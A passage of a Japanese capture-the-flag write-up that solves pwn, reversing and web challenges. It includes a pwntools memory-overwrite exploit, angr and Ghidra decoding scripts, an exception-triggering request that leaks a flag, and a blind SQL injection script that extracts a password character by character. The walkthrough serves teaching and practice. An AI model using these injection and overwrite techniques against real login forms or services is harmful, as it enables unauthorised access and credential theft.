*(rbp - 0x14) = 540 / 4 = 135

よって、nameの最後の4byteを\x87\x00\x00\x00とすればrod[dst][pivot[dst]]がsolved_flagのアドレスになり、solved_flagを1に書き換えることができます。

from pwn import *

name = b'A' * 12
name += b'\x87\x00\x00\x00'

p = remote('hanoi.pwn.wanictf.org', 9007)

p.send(name)
p.sendline('A@')
print(p.recvall().decode())
$ python solve.py
[+] Opening connection to hanoi.pwn.wanictf.org on port 9007: Done
[+] Receiving all data: Done (295B)
[*] Closed connection to hanoi.pwn.wanictf.org port 9007

If you move all disks from A to C 'in time'
I'll give you the flag
input ex) if from rod_a to rod_c > AC
Name : \x00op and bottom of the each rod
  A     B     C
  1     0     0
 ...............
 32     0     0
Move > Moving...
Moved 1 from A to @
How fast you are!!
FLAG{5up3r_f457_h4n01_501v3r}

Reversing

secret

strings secretを実行するとwani_is_the_coolest_animals_in_the_world!というそれっぽい文字列が見つかります。

実際に入力してみるとフラグを手に入れることができました。

$ ./secret

   ▄▀▀▀▀▄  ▄▀▀█▄▄▄▄  ▄▀▄▄▄▄   ▄▀▀▄▀▀▀▄  ▄▀▀█▄▄▄▄  ▄▀▀▀█▀▀▄
  █ █   ▐ ▐  ▄▀   ▐ █ █    ▌ █   █   █ ▐  ▄▀   ▐ █    █  ▐
     ▀▄     █▄▄▄▄▄  ▐ █      ▐  █▀▀█▀    █▄▄▄▄▄  ▐   █
  ▀▄   █    █    ▌    █       ▄▀    █    █    ▌     █
   █▀▀▀    ▄▀▄▄▄▄    ▄▀▄▄▄▄▀ █     █    ▄▀▄▄▄▄    ▄▀
   ▐       █    ▐   █     ▐  ▐     ▐    █    ▐   █
           ▐        ▐                   ▐        ▐

Input secret key : wani_is_the_coolest_animals_in_the_world!
Correct! Flag is FLAG{ana1yze_4nd_strin6s_and_execu7e_6in}

execute

main.SとMakefileなどが与えられます。

 .file   "main.c"
    .text
    .globl  main
    .type   main, @function
main:
.LFB0:
    .cfi_startproc
    endbr64
    pushq   %rbp
    .cfi_def_cfa_offset 16
    .cfi_offset 6, -16
    movq    %rsp, %rbp
    .cfi_def_cfa_register 6
    subq    $48, %rsp
    movq    %fs:40, %rax
    movq    %rax, -8(%rbp)
    xorl    %eax, %eax
    movabsq $7941081424088616006, %rax
    movabsq $7311705455698409823, %rdx
    movq    %rax, -48(%rbp)
    movq    %rdx, -40(%rbp)
    movabsq $3560223458505028963, %rax
    movabsq $35295634984951667, %rdx
    movq    %rax, -32(%rbp)
    movq    %rdx, -24(%rbp)
    leaq    -48(%rbp), %rax
    movq    %rax, %rdi
    call    print@PLT
    movl    $0, %eax
    movq    -8(%rbp), %rcx
    xorq    %fs:40, %rcx
    je  .L3
    call    __stack_chk_fail@PLT
.L3:
    leave
    .cfi_def_cfa 7, 8
    ret
    .cfi_endproc
.LFE0:
    .size   main, .-main
    .ident  "GCC: (Ubuntu 9.3.0-17ubuntu1~20.04) 9.3.0"
    .section    .note.GNU-stack,"",@progbits
    .section    .note.gnu.property,"a"
    .align 8
    .long    1f - 0f
    .long    4f - 1f
    .long    5
0:
    .string  "GNU"
1:
    .align 8
    .long    0xc0000002
    .long    3f - 2f
2:
    .long    0x3
3:
    .align 8
4:

main.Sを見ると文字列を数値に変換したものを変数に代入してprintfしていることがわかるので、数値を文字列に戻すとフラグを手に入れることができました。

import struct

def p64(x):
    return struct.pack('<Q', x)

a = 7941081424088616006
b = 7311705455698409823
c = 3560223458505028963
d = 35295634984951667

print(p64(a) + p64(b) + p64(c) + p64(d))
$ python solve.py
b'FLAG{c4n_y0u_execu4e_th1s_fi1e}\x00'

timer

Timerという実行ファイルが与えられます。

Ghidraでデコンパイルして関数一覧を見るとsuper_complex_flag_print_functionといういかにもな関数があるのでその関数を解析します。

undefined8 super_complex_flag_print_function(void)

{
  bool bVar1;
  int local_160;
  int local_15c;
  byte local_158 [64];
  undefined4 local_118 [62];
  
  memcpy(local_118,&DAT_00102010,0xec);
  local_15c = 0;
  local_160 = 0x52d5e8cd;
  while( true ) {
    while( true ) {
      while( true ) {
        while (local_160 == -0x257d3ed5) {
          local_15c = local_15c + 1;
          local_160 = 0x52d5e8cd;
        }
        if (local_160 != 0x18e1f8e) break;
        printf("The time has come. Flag is \"%s\"\n");
        bVar1 = (x * (x + -1) & 1U) == 0;
        local_160 = 0x49c7aee9;
        if (bVar1 && y < 10 || bVar1 != y < 10) {
          local_160 = 0x1a18fd28;
        }
      }
      if (local_160 != 0x18b37a7b) break;
      local_158[local_15c] =
           ((byte)local_118[local_15c] ^ 0xff) & 0x22 | (byte)local_118[local_15c] & 0xdd;
      local_160 = -0x257d3ed5;
    }
    if (local_160 == 0x1a18fd28) break;
    if (local_160 == 0x49c7aee9) {
      printf("The time has come. Flag is \"%s\"\n");
      local_160 = 0x18e1f8e;
    }
    else {
      if (local_160 == 0x52d5e8cd) {
        local_160 = 0x7d118963;
        if (local_15c < 0x3b) {
          local_160 = 0x18b37a7b;
        }
      }
      else {
        if ((local_160 == 0x7d118963) &&
           (bVar1 = (x * (x + -1) & 1U) == 0, local_160 = 0x49c7aee9,
           bVar1 && y < 10 || bVar1 != y < 10)) {
          local_160 = 0x18e1f8e;
        }
      }
    }
  }
  return 0;
}

アセンブル結果を見ると、フラグを表示するprintfの第二引数はlocal_158だとわかります。

local_158[local_15c] = ((byte)local_118[local_15c] ^ 0xff) & 0x22 | (byte)local_118[local_15c] & 0xdd;

この部分でフラグをもとに戻していると推測できます。そのため、この部分と同じ処理を行うプログラム作成すればフラグが得られそうです。

以下はフラグを復元する部分をPythonで書き直したものです。GhidraのPythonインタプリタ上で以下のスクリプトを実行するとフラグを手に入れることができました。

data = getBytes(toAddr(0x102010), (0x1020fb - 0x102010))
flag = ""
for i in range(len(data)):
    x = (data[i] ^ 0xff) & 0x22
    y = (data[i] & 0xdd)
    flag += chr(x | y)
print(flag.replace('"', ''))
>>> data = getBytes(toAddr(0x102010), (0x1020fb - 0x102010))
>>> flag = ""
>>> for i in range(len(data)):
...     x = (data[i] ^ 0xff) & 0x22
...     y = (data[i] & 0xdd)
...     flag += chr(x | y)
... 
>>> print(flag.replace('"', ''))
FLAG{S0rry_Hav3_you_b3en_wai7ing_lon6?_No_I_ju5t_g0t_her3}

licence

第一引数に与えたファイル名のファイルが開かれチェックされます。check関数で入力をチェックしているのですがとても複雑で手動で解析するのはほぼ無理です。そこでangrを使います。0x5df7にたどり着く入力を探すスクリプトを書いて実行するとフラグを手に入れることができました。

import angr
import claripy
import logging

prefix = '-----BEGIN LICENCE KEY-----\n'
suffix = '-----END LICENCE KEY-----\n'

base_addr = 0x400000

proj = angr.Project('./licence', auto_load_libs=False)

b_list = [claripy.BVS('bytes_%d' % i, 8) for i in range(len(prefix) + 0x41 + len(suffix))]
b_ast = claripy.Concat(*b_list)

fname = "./key.dat"
simfile = angr.SimFile(fname, content=b_ast)
state = proj.factory.entry_state(
    args=["./licence", fname],
    fs={fname:simfile},
    add_options={angr.options.LAZY_SOLVES}
)

logging.getLogger('angr.sim_manager').setLevel('INFO')
simgr = proj.factory.simgr(state)

simgr.explore(find=[base_addr+0x5df7])
print(simgr.found[0].fs.get(fname).concretize())
$ python solve.py
WARNING | 2021-05-02 21:02:11,639 | cle.loader | The main binary is a position-independent executable. It is being loaded with a base addre
ss of 0x400000.
INFO    | 2021-05-02 21:02:11,674 | angr.sim_manager | Stepping active of <SimulationManager with 1 active>
INFO    | 2021-05-02 21:02:11,694 | angr.sim_manager | Stepping active of <SimulationManager with 1 active>
...
INFO    | 2021-05-02 21:02:42,387 | angr.sim_manager | Stepping active of <SimulationManager with 18 active, 416 deadended>
INFO    | 2021-05-02 21:02:42,483 | angr.sim_manager | Stepping active of <SimulationManager with 19 active, 416 deadended>
b'-----BEGIN LICENCE KEY-----\nFLAG{4n6r_15_4_5up3r_p0w3rfu1_5ymb0l1c_3x3cu710n_4n4ly515_700l}\n\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'

Web

fake

問題文のリンクを踏むとボタンがたくさんあるページが表示されます。

Chromeデベロッパーツールを開いてElementsを眺めると<button>の中に一つだけ<a>があります。hrefにフラグが表示されるページのリンクが書かれています。

FLAG{wow_y0u_h4ve_3po4ted_th3_7ake}

Wani request 1

URLを入力するとそのページにアクセスしてくれます。requestbinで通信を受け取り、requestヘッダーのreferを見るとhttp://w4ni-secre7-h1mitu-pa6e.s3-website-ap-northeast-1.amazonaws.com/からアクセスされており、そこにアクセスするとフラグが得られっます。

FLAG{h77p_r3f3r3r_15_54f3_42a2cc2f275}

exception

hello.pyが与えられます。

import json
import os
import traceback

# HelloFunction(/hello)のコード
def lambda_handler(event, context):
    try:
        try:
            data = json.loads(event["body"])
        except Exception:
            data = {}
        if "name" in data:
            return {
                "statusCode": 200,
                "body": json.dumps({"name": "こんにちは、" + data["name"] + "さん"}),
            }
        return {
            "statusCode": 400,
            "body": json.dumps(
                {
                    "error_message": "Bad Request",
                }
            ),
        }
    except Exception as e:
        error_message = traceback.format_exception_only(type(e), e)
        del event["requestContext"]["accountId"]
        del event["requestContext"]["resourceId"]
        return {
            "statusCode": 500,
            "body": json.dumps(
                {
                    "error_message": error_message,
                    "event": event,
                    "flag": os.environ.get("FLAG"),
                }
            ),
        }

exceptionを起こせばフラグが手に入るようになっています。

return {
    "statusCode": 200,
    "body": json.dumps({"name": "こんにちは、" + data["name"] + "さん"}),
}

この部分に着目します。data["name"]の型を確認せず文字列と結合しています。よって、data["name"]に整数値のような文字列と結合できないものを与えてやるとexceptionを起こせます。

$ python -q
>>> import requests
>>> data = {"name": 1}
>>> requests.post("https://exception.web.wanictf.org/hello", json=data).text
'{"error_message": ["TypeError: can only concatenate str (not \\"int\\") to str\\n"], "event": {"resource": "/hello", "path": "/hello", "httpMethod": "POST", "headers": {"Accept-Encoding": "gzip, deflate", "Content-Type": "application/json", "Host": "boakqtdih8.execute-api.us-east-1.amazonaws.com", "User-Agent": "Amazon CloudFront", "Via": "1.1 886a171d4fd47a45f08d1726d75c8f18.cloudfront.net (CloudFront)", "X-Amz-Cf-Id": "QhWwC5Ycbeg8QbduIv5GLP5jqqzLtb_LSW6aBlQManLQge0zHEO5Jg==", "X-Amzn-Trace-Id": "Root=1-608e7b06-4a736e383ab2d7731b6be0f1", "X-Forwarded-For": "202.165.53.205, 70.132.51.94", "X-Forwarded-Port": "443", "X-Forwarded-Proto": "https"}, "multiValueHeaders": {"Accept-Encoding": ["gzip, deflate"], "Content-Type": ["application/json"], "Host": ["boakqtdih8.execute-api.us-east-1.amazonaws.com"], "User-Agent": ["Amazon CloudFront"], "Via": ["1.1 886a171d4fd47a45f08d1726d75c8f18.cloudfront.net (CloudFront)"], "X-Amz-Cf-Id": ["QhWwC5Ycbeg8QbduIv5GLP5jqqzLtb_LSW6aBlQManLQge0zHEO5Jg=="], "X-Amzn-Trace-Id": ["Root=1-608e7b06-4a736e383ab2d7731b6be0f1"], "X-Forwarded-For": ["202.165.53.205, 70.132.51.94"], "X-Forwarded-Port": ["443"], "X-Forwarded-Proto": ["https"]}, "queryStringParameters": null, "multiValueQueryStringParameters": null, "pathParameters": null, "stageVariables": null, "requestContext": {"resourcePath": "/hello", "httpMethod": "POST", "extendedRequestId": "esgpBGZgoAMFqmw=", "requestTime": "02/May/2021:10:12:22 +0000", "path": "/Prod/hello", "protocol": "HTTP/1.1", "stage": "Prod", "domainPrefix": "boakqtdih8", "requestTimeEpoch": 1619950342462, "requestId": "414fc154-3b0b-4e42-8748-03dacc5acd75", "identity": {"cognitoIdentityPoolId": null, "accountId": null, "cognitoIdentityId": null, "caller": null, "sourceIp": "202.165.53.205", "principalOrgId": null, "accessKey": null, "cognitoAuthenticationType": null, "cognitoAuthenticationProvider": null, "userArn": null, "userAgent": "Amazon CloudFront", "user": null}, "domainName": "boakqtdih8.execute-api.us-east-1.amazonaws.com", "apiId": "boakqtdih8"}, "body": "{\\"name\\": 1}", "isBase64Encoded": false}, "flag": "FLAG{b4d_excep7ion_handl1ng}"}'

watch animal

メールアドレスがwanictf21spring@gmail.comの人のパスワードがフラグとなっています。ログインフォームでSQLインジェクションが可能なためログインの可否でパスワードを特定できます。

import string
import requests
import hashlib
import time

URL = "https://watch.web.wanictf.org/"
EMAIL = "wanictf21spring@gmail.com"

TEMPLATE = "' OR substr(password, {pos}, 1) >= \"{c}\"; --"

cand = string.ascii_letters + string.digits + string.punctuation
cand = [chr(x) for x in sorted(ord(c) for c in cand)]

def is_login(text):
    return hashlib.sha1(text.encode()).hexdigest() == "8a702a2d92383c08baf14be6a70eb1da42d59b2c"

flag = ""

for i in range(0, 60):
    start, end = 0, len(cand) - 1
    while True:
        mid = start + (end - start) // 2
        c = cand[mid]
        if end - start == 1:
            break
        data = {
            "email": EMAIL,
            "password": TEMPLATE.format(pos=i+1, c=c)
        }
        if is_login(requests.post(URL, data).text):
            start = mid
        else:
            end = mid
        time.sleep(1.5)
    print(f"found: pos={i} char={c}")
    flag += c
    if c == "}":
        break
print(flag)
$ python hoge.py
found: pos=0 char=F
found: pos=1 char=L
found: pos=2 char=A
found: pos=3 char=G
found: pos=4 char={
found: pos=5 char=b
found: pos=6 char=l
found: pos=7 char=1
found: pos=8 char=n
found: pos=9 char=d
found: pos=10 char=S
found: pos=11 char=Q
found: pos=12 char=L
found: pos=13 char=i
found: pos=14 char=}
FLAG{bl1ndSQLi}